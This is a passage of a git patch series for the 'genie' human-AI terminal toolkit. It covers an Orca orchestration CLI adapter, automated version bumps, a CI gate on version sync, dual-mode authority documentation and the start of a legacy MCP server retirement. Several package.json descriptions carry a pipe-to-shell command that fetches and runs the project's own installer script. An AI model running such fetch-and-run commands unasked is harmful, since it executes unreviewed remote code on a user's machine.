buildOrcaOrchestrationArgv(operation); - let result: OrcaProcessResult; + const executeProcess = async (argv: readonly string[], operation: OrcaOrchestrationVerb | 'runtime') => { try { - result = await executor({ + return await executor({ executable, argv, shell: false, @@ -964,7 +1072,7 @@ function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationA } catch (error) { throw new OrcaAdapterError( 'executable_unavailable', - operation.operation, + operation, 'resolve', 'safe', 'Verify that the deterministic Orca executable is installed and available, then retry.', @@ -973,6 +1081,10 @@ function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationA : 'Orca execution failed', ); } + }; + const invoke = async (operation: ValidatedOrcaOperation): Promise<OrcaJsonEnvelope> => { + const argv = buildOrcaOrchestrationArgv(operation); + let result = await executeProcess(argv, operation.operation); result = { ...result, stderr: sanitizeStderr(result.stderr, operation, env) }; const isMutation = mutationVerbs.has(operation.operation) || hasAcknowledgement(operation.operation, operation); const failure = processFailure(operation.operation, operation, result); @@ -998,6 +1110,44 @@ function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationA }; return Object.freeze({ executable, + async status(): Promise<OrcaRuntimeStatus> { + const result = await executeProcess(['status', '--json'], 'runtime'); + if (result.outputLimited || result.transportLost || result.timedOut || result.exitCode !== 0) { + throw new OrcaAdapterError( + result.outputLimited ? 'output_limit' : result.timedOut ? 'timeout' : 'process_exit', + 'runtime', + 'execute', + 'safe', + 'Restore the public Orca runtime and retry the compatibility probe.', + 'Orca status did not complete successfully', + ); + } + let decoded: unknown; + try { + decoded = parseJsonRejectingDuplicateKeys(result.stdout); + } catch { + throw new OrcaAdapterError( + 'malformed_json', + 'runtime', + 'decode', + 'safe', + 'Use a compatible Orca CLI version.', + 'Orca status was not one JSON document', + ); + } + const parsed = runtimeStatusSchema.safeParse(decoded); + if (!parsed.success) { + throw new OrcaAdapterError( + 'unexpected_response', + 'runtime', + 'decode', + 'safe', + 'Use a compatible Orca CLI version.', + 'Orca status did not match the strict runtime compatibility contract', + ); + } + return parsed.data; + }, async execute(input: unknown): Promise<OrcaAdapterResponse> { const parsed = orcaOperationSchema.safeParse(input); if (!parsed.success) { @@ -1047,7 +1197,7 @@ async function finalizeMutation( verb: operation.operation, ids: receiptIds(operation.operation, envelope.result), runtimeId: meta.runtimeId as string, - runtimeVersion: meta.runtimeVersion as string, + runtimeVersion: (meta.runtimeVersion as string | undefined) ?? null, startedAt, completedAt: now().toISOString(), readbackVerb: plan?.operation.operation ?? null, @@ -1087,11 +1237,11 @@ function mapReadbackFailure( } function validateMutationReceipt(operation: ValidatedOrcaOperation, envelope: OrcaJsonEnvelope): void { - if (envelope._meta?.runtimeId === undefined || envelope._meta.runtimeVersion === undefined) { + if (envelope._meta?.runtimeId === undefined) { throw ambiguousMutationError( operation.operation, 'receipt', - 'mutation receipt omitted bounded runtime identity/version metadata', + 'mutation receipt omitted bounded runtime identity metadata', ); } if (!receiptMatchesRequest(operation, envelope.result)) { @@ -1117,6 +1267,7 @@ function validateMutationReceipt(operation: ValidatedOrcaOperation, envelope: Or } if ( operation.operation === 'run-use' && + 'coordinatorTerminalHandle' in recordOf(envelope.result) && recordOf(envelope.result).coordinatorTerminalHandle !== envelope._meta.invokingTerminal ) { throw new OrcaAdapterError( @@ -1134,9 +1285,9 @@ function receiptMatchesRequest(operation: ValidatedOrcaOperation, result: unknow const value = recordOf(result); switch (operation.operation) { case 'run-use': - return value.runId === operation.id; + return (value.runId ?? entityId(value, 'run')) === operation.id; case 'task-update': - return value.taskId === operation.id; + return (value.taskId ?? entityId(value, 'task')) === operation.id; case 'worker-start': return value.taskId === operation.task; case 'worker-release': From 6a52dac53371965c9195f6dc3150e6490410973c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 20:56:35 +0000 Subject: [PATCH 14/45] chore(version): bump to 5.260829.6 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 50e28b47e..fb20a4707 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.5", + "version": "5.260829.6", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index ad7bc77fd..d1a4dcce6 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.5", + "version": "5.260829.6", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 0fc07e9c2..d752d9657 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.5", + "version": "5.260829.6", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index e3b733896..cf99f7954 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.5", + "version": "5.260829.6", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 5c17d8948..b680dfc7f 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.5", + "version": "5.260829.6", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 7eb11d946..7e73aa1e1 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.5", + "version": "5.260829.6", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index cff48edce..4aee2cf29 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.5 +version: 5.260829.6 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 3dfb69db7..1f80ede71 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.5", + "version": "5.260829.6", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From 069bfb1233bf0b341a08a3c8a734ab226898dafc Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 21:27:46 +0000 Subject: [PATCH 15/45] fix(release): gate tarballs on version sync (#2816) --- .github/workflows/build-tarballs.yml | 19 +++++++++++++++++++ plugins/genie/orca-plugin.json | 2 +- scripts/release-payload-version.test.ts | 8 ++++++++ 3 files changed, 28 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-tarballs.yml b/.github/workflows/build-tarballs.yml index 033f85629..0b031bbb8 100644 --- a/.github/workflows/build-tarballs.yml +++ b/.github/workflows/build-tarballs.yml @@ -79,8 +79,27 @@ permissions: contents: read jobs: + verify-source-version: + name: Verify source version synchronization + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + ref: ${{ inputs.source_sha || github.sha }} + persist-credentials: false + + - name: Setup Bun + uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 + with: + bun-version: 1.3.11 + + - name: Verify committed release versions + run: bun scripts/release-payload-version.ts --verify-source . + build: name: Build ${{ matrix.platform }} + needs: verify-source-version runs-on: ${{ matrix.runner }} timeout-minutes: 30 strategy: diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index ab45580ef..93e91b2ee 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260829.5", + "version": "5.260829.6", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/scripts/release-payload-version.test.ts b/scripts/release-payload-version.test.ts index 66c59f4c2..9a2a001ed 100644 --- a/scripts/release-payload-version.test.ts +++ b/scripts/release-payload-version.test.ts @@ -146,4 +146,12 @@ describe('release payload version contract', () => { expect(buildScript).toContain('"plugins/genie/orca-plugin.json"'); expect(buildScript).toContain('"plugins/genie/orca-entrypoint.min.js"'); }); + + test('tarball builds are gated by source version verification', () => { + const workflow = readFileSync(join(repoRoot, '.github/workflows/build-tarballs.yml'), 'utf8'); + + expect(workflow).toContain('verify-source-version:'); + expect(workflow).toContain('bun scripts/release-payload-version.ts --verify-source .'); + expect(workflow).toContain('needs: verify-source-version'); + }); }); From 433f91ac1acbd02053401a19cd5f6e0aa073131b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 21:30:10 +0000 Subject: [PATCH 16/45] chore(version): bump to 5.260829.7 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index fb20a4707..21ca7b532 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.6", + "version": "5.260829.7", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index d1a4dcce6..9de61144d 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.6", + "version": "5.260829.7", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index d752d9657..2cd1bad62 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.6", + "version": "5.260829.7", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index cf99f7954..3340452e3 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.6", + "version": "5.260829.7", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index b680dfc7f..ac583bffc 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.6", + "version": "5.260829.7", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 7e73aa1e1..dfd786da2 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.6", + "version": "5.260829.7", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 4aee2cf29..d0d2ff446 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.6 +version: 5.260829.7 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 1f80ede71..f62846878 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.6", + "version": "5.260829.7", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From 6ecfd81e57c04b178773fc23e92526274f1aa089 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 21:30:53 +0000 Subject: [PATCH 17/45] docs(orca): document dual-mode authority (#2814) * docs(orca): document dual-mode authority * fix(docs): align Orca adapter contract --- README.md | 65 +++++++++++++ plugins/genie/README.md | 4 + .../genie/references/orca-orchestration.md | 97 +++++++++++++++++++ scripts/release-docs.test.ts | 46 +++++++++ 4 files changed, 212 insertions(+) create mode 100644 plugins/genie/references/orca-orchestration.md diff --git a/README.md b/README.md index a49a47aae..5e3908382 100644 --- a/README.md +++ b/README.md @@ -33,6 +33,71 @@ From inside a trusted initialized repo, run `genie init` to reconcile the marker Codex never auto-trusts plugin hooks. H4/H6 definitions bind the exact plugin launcher SHA-256 and the launcher verifies itself before spawning, so launcher changes produce new definitions; the current hook schema still cannot transitively bind the mutable platform-specific Genie binary. After successful Codex setup, inspect the three Genie definitions with `/hooks`, approve only the hashes you understand, and start a new task so the reviewed definitions take effect. Until then they remain untrusted and do not run. +## Standalone and Orca authority + +Genie has two explicit lifecycle modes. `standalone` is the default, including when the configuration omits +`orchestration.mode`; merely installing or opening Orca never changes authority. Standalone keeps the existing local +task, board, and roadmap behavior. Select Orca only when you intend Orca to become the sole lifecycle authority: + +```bash +genie setup --orchestration-mode orca +genie doctor +``` + +The switch first verifies the shipped plugin payload and a compatible Orca runtime (Orca `1.4.192` or newer with +`orchestration.contract.v1`). Only after that probe succeeds does Genie back up its configuration and atomically select +Orca. In Orca mode, Genie does not open `.genie/genie.db` for lifecycle reads or writes and refuses roadmap writes, +syncs, and exports before they can create or change local files. Existing local history is preserved in place, but it is +not imported, mirrored, or treated as current. The plugin keeps no fallback database: if Orca is unavailable, the +operation fails instead of silently returning to standalone. + +Switching back is also deliberate and does not import Orca state: + +```bash +genie setup --orchestration-mode standalone +genie doctor +``` + +`genie doctor` reports the selected authority, plugin ownership state, resolved runtime version, and compatibility. +`unsupported_environment` means the host cannot provide the supported public CLI/child-process boundary; install or +start a compatible Orca runtime and repeat the Orca selection. Do not work around it with a private API, internal RPC, +terminal injection, or a local fallback. + +### Install, update, rollback, and uninstall + +Signed release tarballs include `plugins/genie/orca-plugin.json` and the compiled Orca entrypoint on every supported +platform. The normal installer stages and verifies that payload; authority remains standalone until the explicit setup +command above. `genie update` preserves the selected mode and lifecycle history, verifies the replacement payload, and +refreshes a prior Genie ownership claim only after an Orca compatibility probe. Run `genie doctor` after installation or +update before resuming lifecycle mutations. + +`genie update --rollback` checks the retained rollback state and prints signed-version reinstall guidance when a safe +in-place rollback is unavailable; follow that guidance, then run `genie doctor`. A failed update, rollback, or mode +preflight leaves the prior configuration and authority unchanged. `genie uninstall` removes only ownership-proven Genie +artifacts and registrations. Modified or unproven files are preserved, and neither local Genie history nor Orca records +are deleted. Review the command's backup/recovery output before removing any retained files manually. + +### Ambiguous Orca receipts and recovery + +The plugin invokes only a closed subset of official `orca orchestration ... --json` commands. Successful mutations +require a bounded receipt and, where the public CLI supports it, an immediate public read-back. If the process times out, +exceeds its output cap, or loses transport after launch without a complete identifying receipt, Genie reports +`ambiguous_after_possible_commit`. Do not automatically retry: Orca may already have committed the operation. Inspect +the exact public read operation named by the error only when the identifier was known before launch; otherwise confirm +the outcome with an Orca operator before deciding whether to issue a new mutation. Genie never guesses an identifier +from a collection or infers success from a partial response. + +### Staged MCP retirement + +The Orca plugin does not make the current MCP surface disappear in this documentation release. The legacy `genie mcp` +remains available, and `genie init` continues to manage only Genie-owned project registrations, until the later A7 PR +lands after dual-mode parity and migration gates. Do not remove project MCP routes pre-emptively. A7 will retire the +server and proved-owned registrations with a stable non-zero diagnostic while preserving unrelated configuration and +standalone history; rollback to a pre-A7 signed release remains the migration escape hatch. + +Maintainers should read the [public Orca boundary and verb-amendment contract](plugins/genie/references/orca-orchestration.md) +before changing the adapter or its operator guidance. + ## Quickstart The lifecycle is shared by Claude Code and Codex. Claude uses slash skills. A Codex plugin install uses the unambiguous owner-qualified `$genie:<skill>` selector; bare `$<skill>` resolves the user tier, which now only ever holds a separately installed personal copy (Genie no longer seeds the user tier): diff --git a/plugins/genie/README.md b/plugins/genie/README.md index 3a0aab4c8..1b215556d 100644 --- a/plugins/genie/README.md +++ b/plugins/genie/README.md @@ -2,6 +2,10 @@ This directory is the shared release payload for Claude Code and Codex. The two clients load different manifests, but the 22 product skills have one canonical source (`/skills`) and one committed, byte-checked plugin mirror (`plugins/genie/skills`). +For Orca installation, authority selection, recovery, compatibility, and contribution rules, see the +[Orca dual-mode operator and contributor contract](references/orca-orchestration.md). Standalone remains the default; +the packaged Orca payload is inert until the operator explicitly selects Orca authority. + ## What Codex gets | Surface | Delivery | Contract | diff --git a/plugins/genie/references/orca-orchestration.md b/plugins/genie/references/orca-orchestration.md new file mode 100644 index 000000000..493fa937f --- /dev/null +++ b/plugins/genie/references/orca-orchestration.md @@ -0,0 +1,97 @@ +# Orca orchestration boundary + +This is the contributor contract for Genie's Option A Orca plugin. Operator commands and recovery are documented in +the repository [README](../../../README.md#standalone-and-orca-authority). Keep both surfaces aligned with shipped code. + +## Authority and compatibility + +Standalone is the default. Only `genie setup --orchestration-mode orca` may select Orca lifecycle authority, and it +must finish the packaged-payload and runtime preflight before committing configuration. In Orca mode, the low-level +SQLite pre-open barrier rejects local lifecycle reads and writes, and the roadmap pre-write barrier rejects direct and +indirect writes, syncs, and exports. Do not route around either barrier or serve stale local data as a convenience. + +The supported host boundary is the public Orca CLI with child-process execution, runtime version `>=1.4.192`, and the +`orchestration.contract.v1` capability. A host that cannot satisfy that contract returns `unsupported_environment`. +No fallback to standalone or to another transport is permitted. + +## Closed public CLI adapter + +The adapter accepts typed operations, validates them against per-verb closed schemas, and compiles them to an exact +allowlist of `orca orchestration <verb> ... --json` argv. It owns the final `--json`, selects one deterministic +executable, and spawns with `shell: false`. Callers cannot provide executable names, raw argv, flags, placement, +routing, terminal handles, or recovery commands. + +Runtime selection is fixed by platform and managed-terminal state: Linux outside an Orca terminal selects `orca-ide`, +Windows selects `orca.exe`, and macOS or an Orca-managed terminal selects `orca`. Failure of that selected executable +is final—never probe a second candidate. + +The positive boundary currently contains these operations: + +```text +run-create run-list run-show run-current run-use +task-create task-list task-update +worker-start worker-show worker-read worker-release +send check reply ask +gate-create gate-list gate-resolve +``` + +Reject `terminal send`. Reject `--inject`. Reject `internal RPC`. Reject `private API`. Also reject caller-selected +`--json`, generic command runners, shell strings, setup/worktree/repository placement, impersonation/routing flags, and +unknown fields before spawning. Examples in public docs must remain inside this finite boundary. + +## Receipts, read-backs, and recovery + +stdout must be exactly one schema-valid Orca JSON envelope. stderr is bounded diagnostic context, never success data. +Execution has fixed time and output limits, and errors redact secrets and unbounded payloads. + +A mutation succeeds only with a valid identifying receipt plus an exact public read-back where the official CLI exposes +one. The read-back must prove the requested identity and immutable fields. Receipt-only exceptions are deliberately +narrow: `send`, `reply`, `ask`, and `check --ack`, because the allowed public subset has no stable exact-message, ask, +or separate acknowledgement read. + +After launch, timeout, output-limit, or transport loss without a complete identifying receipt is +`ambiguous_after_possible_commit`. Never retry the mutation automatically, scrape a partial response, or enumerate a +collection to guess which entity was created. An automated public read-back is allowed only when the exact identifier +was validated independently before launch and the capability table names the exact read operation. Even then the +read-back informs the caller; it does not authorize an automatic retry. Otherwise only operator or external +confirmation can resolve the ambiguity. + +Every adapter error preserves the safe operation name, failure phase, retry-safety classification, and a public recovery +hint. It must never suggest silently switching authority. + +## Verb amendment checklist + +A new verb or field changes the trust boundary. Before implementation: + +1. Amend the approved design and explain the current user story; a configurable or speculative allowlist is not enough. +2. Add a strict input schema, exact argv row, closed response schema, receipt identity, and public read-back contract (or + document the narrow reason an official read does not exist). +3. Add positive exact-argv tests and negative pre-spawn tests for flag-shaped values, raw argv, terminal/placement, + routing/impersonation, executable override, caller `--json`, unknown fields, malformed envelopes, time/output limits, + missing receipts, and read-back disagreement. +4. Re-run the supported real-runtime smoke and prove that no local Genie DB or roadmap state changed. +5. Update this file, the operator README, compatibility range when required, package inventory checks, and the targeted + release documentation test. Obtain independent threat-boundary review. + +No fallback, cache, retry ledger, mirror, queue, lifecycle store, private host API, or background synchronization may be +added without a separately approved design. + +## Lifecycle and release maintenance + +Install and update stage the complete payload, verify its inventory and version, preflight the selected authority, and +activate atomically. Rollback restores only a verified prior Genie-owned payload/configuration snapshot. Uninstall may +remove only digest-proven Genie ownership metadata and registrations; it never deletes local lifecycle history, Orca +records, modified payloads, or unrelated registrations. `genie doctor` is observational and must report mode, ownership, +resolved runtime compatibility, and actionable recovery without creating lifecycle state. + +Every supported release tarball must contain `orca-plugin.json` and `orca-entrypoint.min.js`, agree with `VERSION` and +package metadata, and pass extracted-package installation verification. Stable remains the default release channel; +selecting an Orca lifecycle mode is separate from selecting a release channel. + +## MCP retirement sequencing + +Do not remove `genie mcp`, its launchers, or registrations in Option A documentation work. The legacy MCP remains shipped +until the later A7 PR, after authority, adapter, plugin, lifecycle, packaging, and documentation gates are green. A7 may +remove only proved-owned registrations, must preserve unrelated user configuration and both authorities' history, and +must leave the documented stable non-zero retired diagnostic. Until then, documentation must describe retirement as +staged rather than complete. diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 099eda059..873aa7b39 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -803,6 +803,52 @@ describe('Group E release and documentation contracts', () => { expect(doc).toContain('scripts/verify-codex-activation-payload.ts'); }); + test('dual-mode docs preserve the operator and public Orca contributor contracts', () => { + const operator = read('README.md'); + const contributor = read('plugins/genie/references/orca-orchestration.md'); + const pluginReadme = read('plugins/genie/README.md'); + + for (const topic of [ + '`standalone` is the default', + 'genie setup --orchestration-mode orca', + 'genie setup --orchestration-mode standalone', + 'orchestration.contract.v1', + 'genie doctor', + 'ambiguous_after_possible_commit', + 'unsupported_environment', + 'genie update --rollback', + 'genie uninstall', + 'A7', + ]) { + expect(operator).toContain(topic); + } + expect(operator).toContain('Genie does not open `.genie/genie.db`'); + expect(operator).toContain('roadmap'); + expect(operator).toContain('The legacy `genie mcp`'); + expect(operator).toContain('until the later A7 PR'); + expect(operator).toContain('plugins/genie/references/orca-orchestration.md'); + + for (const topic of [ + 'orca orchestration', + '--json', + 'shell: false', + 'fixed by platform and managed-terminal state', + 'No fallback', + 'ambiguous_after_possible_commit', + 'Verb amendment checklist', + 'public read-back', + '`send`, `reply`, `ask`, and `check --ack`', + ]) { + expect(contributor).toContain(topic); + } + expect(contributor).not.toContain('ORCA_CLI_COMMAND'); + for (const forbidden of ['terminal send', '--inject', 'internal RPC', 'private API']) { + expect(contributor).toContain(`Reject \`${forbidden}\``); + } + expect(pluginReadme).toContain('[Orca dual-mode operator and contributor contract]'); + expect(pluginReadme).toContain('references/orca-orchestration.md'); + }); + test('release build independently verifies each extracted activation payload', () => { const build = read('scripts/build-binary.sh'); const extract = build.indexOf('tar -xzf "${TARBALL}"'); From c8280d403e1571002deb4bb3a25eeeebf286fbf4 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 20:51:39 -0300 Subject: [PATCH 18/45] feat(mcp): retire legacy server surfaces (#2820) * feat(mcp): retire legacy server surfaces * fix(mcp): fail closed during retirement * test(mcp): retire stale first-party harnesses * fix(mcp): close remaining retirement paths * fix(mcp): finish A7 standalone retirement * fix(a7): retire Hermes slash command tool routing * test(mcp): retire stale live server contracts * test(codex): align lifecycle route warnings --- .github/workflows/release-publish.yml | 14 +- README.md | 49 +- plugins/genie/.claude-plugin/plugin.json | 8 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 7 +- plugins/genie/README.md | 10 +- plugins/genie/orca-plugin.json | 2 +- .../genie/references/codex-integration-map.md | 2 +- plugins/genie/references/native-surfaces.md | 2 +- .../genie/references/orca-orchestration.md | 11 +- plugins/genie/scripts/mcp-launcher.cjs | 115 -- plugins/genie/scripts/mcp-launcher.test.ts | 141 -- .../genie/skills/genie/reference/lifecycle.md | 2 +- plugins/hermes-genie/README.md | 18 +- plugins/hermes-genie/__init__.py | 32 +- plugins/hermes-genie/commands.py | 42 +- plugins/hermes-genie/plugin.yaml | 7 +- .../references/hermes-integration-map.md | 23 +- .../hermes-genie/references/mutation-gates.md | 4 +- .../hermes-genie/references/native-surface.md | 16 +- plugins/hermes-genie/scripts/smoke.sh | 21 +- plugins/hermes-genie/skills/genie/SKILL.md | 9 +- plugins/hermes-genie/tests/test_commands.py | 50 +- .../tests/test_plugin_contract.py | 74 +- plugins/pi-genie/references/native-surface.md | 14 +- scripts/build-binary.sh | 3 +- scripts/candidate-dogfood-matrix.test.ts | 2 +- scripts/codex-plugin-only-smoke.ts | 52 +- scripts/codex-smoke-harness.test.ts | 148 -- scripts/codex-smoke-harness.ts | 240 +--- scripts/fresh-install-smoke.test.ts | 4 +- scripts/fresh-install-smoke.ts | 40 +- scripts/plugin-executables-check.test.ts | 12 +- scripts/plugin-executables-check.ts | 8 +- scripts/release-docs.test.ts | 17 +- scripts/run-musl-dogfood.test.ts | 2 +- .../validate-live-dogfood-evidence.test.ts | 51 +- scripts/validate-live-dogfood-evidence.ts | 118 +- skills/genie/reference/lifecycle.md | 2 +- src/genie-commands/__tests__/update.test.ts | 14 +- src/genie-commands/doctor.test.ts | 96 +- src/genie-commands/doctor.ts | 69 +- src/genie-commands/setup.test.ts | 15 + src/genie-commands/setup.ts | 40 +- src/lib/agent-sync.test.ts | 42 +- src/lib/agent-sync.ts | 8 +- src/lib/codex-mcp-health-session.test.ts | 152 --- src/lib/codex-mcp-health-session.ts | 246 ---- src/lib/codex-project-mcp.test.ts | 814 +---------- src/lib/codex-project-mcp.ts | 310 +---- src/lib/hermes-mcp-config.test.ts | 558 +------- src/lib/hermes-mcp-config.ts | 593 +------- src/lib/runtime-integrations.test.ts | 63 +- src/lib/runtime-integrations.ts | 58 +- src/lib/v5/UI-BRIDGE.md | 15 +- src/lib/v5/mcp-server.test.ts | 2 +- src/lib/v5/mcp-server.ts | 9 +- src/lib/v5/mcp-tools.test.ts | 120 +- src/lib/v5/mcp-tools.ts | 35 +- src/term-commands/init.test.ts | 160 +-- src/term-commands/init.ts | 36 +- src/term-commands/mcp.test.ts | 1206 +---------------- src/term-commands/mcp.ts | 93 +- src/term-commands/ui-bridge.test.ts | 61 +- src/term-commands/ui-bridge.ts | 4 +- .../codex-cross-version-update.test.ts | 58 - tests/integration/codex-lifecycle-pty.test.ts | 18 +- .../codex-native-mcp-evidence.test.ts | 266 ---- .../codex-project-route-migration.test.ts | 179 +-- tests/integration/codex-task-cwd-mcp.test.ts | 41 - tests/support/codex-dogfood-harness.ts | 212 +-- .../support/codex-native-mcp-evidence.test.ts | 288 ---- tests/support/codex-native-mcp-evidence.ts | 965 ------------- tests/support/codex-native-mcp-launcher.sh | 42 - 74 files changed, 767 insertions(+), 7495 deletions(-) delete mode 100755 